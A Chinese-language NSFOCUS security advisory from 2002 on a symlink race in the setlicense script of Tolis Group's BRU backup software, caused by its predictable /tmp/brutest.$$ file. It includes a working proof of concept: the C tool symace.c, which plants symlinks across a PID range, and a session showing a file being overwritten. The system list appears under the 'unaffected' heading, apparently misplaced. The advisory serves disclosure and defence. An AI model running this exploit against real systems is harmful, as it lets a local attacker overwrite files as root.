首页 -> 安全研究
安全研究
安全漏洞
BRU SetLicense脚本以不安全的方式创建临时文件漏洞
发布日期:2002-01-26
更新日期:2002-01-31
受影响系统:
不受影响系统:
Tolis Group BRU 17.0 Linux
- Debian Linux 2.2 IA-32
- Mandrake Linux 8.1
- Mandrake Linux 8.0
- Open Linux Workstation 3.1
- Open Linux Server 3.1
- RedHat Linux 7.2 x86
- RedHat Linux 7.2 ia64
- RedHat Linux 7.1 x86
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1
- RedHat Linux 7.0
- RedHat Linux 7.0 x86
- SuSE Linux 7.3 i386
- SuSE Linux 7.2 i386
- SuSE Linux 7.2
- SuSE Linux 7.1
- SuSE Linux 7.1 i386
描述:
BUGTRAQ ID: 3790
BRU是一个商业化的备份软件,运行于Linux/Unix平台。软件由Tolis Group发布和维护。
BRU在运行时以不安全的方式创建临时文件,可能使本地攻击者以root身份重写任意文件。
BRU在运行时创建的临时文件名很容易被猜测到,文件名一般是/tmp/brutest.$$,$$代表的是执行shell的进程号。程序在创建文件之前也不检查同名文件是否已经存在,所以这很容易导致符号链接攻击。攻击者事先在/tmp目录下创建一组符号链接指向需要重写的文件,链接名为可能的临时文件名,当BRU被执行时,就可能重写链接指向的文件。因为BRU通常是以root身份执行的,就可能导致重写任何系统文件。
<*来源:Andrew Griffiths (andrewg@tasmail.com)
链接:http://archives.neohapsis.com/archives/bugtraq/2002-01/0331.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Andrew Griffiths (andrewg@tasmail.com)提供了如下测试方法:
测试代码:
--------
#!/bin/sh
printf "%s" foobar >/tmp/brutest.$$ 2>&1
res=`cat /tmp/brutest.$$`
rm -f /tmp/brutest.$$
if test "$res" != "foobar"; then
alias printf="echo -n -e"
fi
So all that needs to be done is create a fair amount of symbolic links in the
temp directory pointing to the file you want to overwrite.
---[ CUT ]---
/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com) */
int main(int argc, char **argv)
{
char *overwrite;
char *base;
int start_pid, end_pid;
int i, size;
overwrite = strdup(argv[1]);
size = strlen(argv[2]) + 8 + 1;
base = malloc(size);
start_pid=atoi(argv[3]);
end_pid=atoi(argv[4]);
for(i=start_pid;i<end_pid;i++) {
memset(base, 0, size-1);
snprintf(base, size-1, "%s%d", argv[2], i);
if(symlink(overwrite, base)==-1) {
printf("Unable to create %s bailing\n", base);
exit(EXIT_FAILURE);
}
}
printf("done\n");
}
运行:
-----
[andrewg@blackhole src]$ echo hello world > /tmp/hello
[andrewg@blackhole src]$ ./symace /tmp/hello /tmp/brutest. 12037 13000
done
在另外一个终端:
[andrewg@blackhole x86-linux-glibc2.1]$ ./setlicense
./setlicense: cd: /bru: No such file or directory
/bru does not exist. BRU may not be installed.
回到原来的终端...
[andrewg@blackhole src]$ cat /tmp/hello
foobar[andrewg@blackhole src]$
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在运行BRU之前检查/tmp/目录下是否有可疑的符号链接。
厂商补丁:
Tolis Group
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.tolisgroup.com/main.html
浏览次数:3693
严重程度:0(网友投票)
绿盟科技给您安全的保障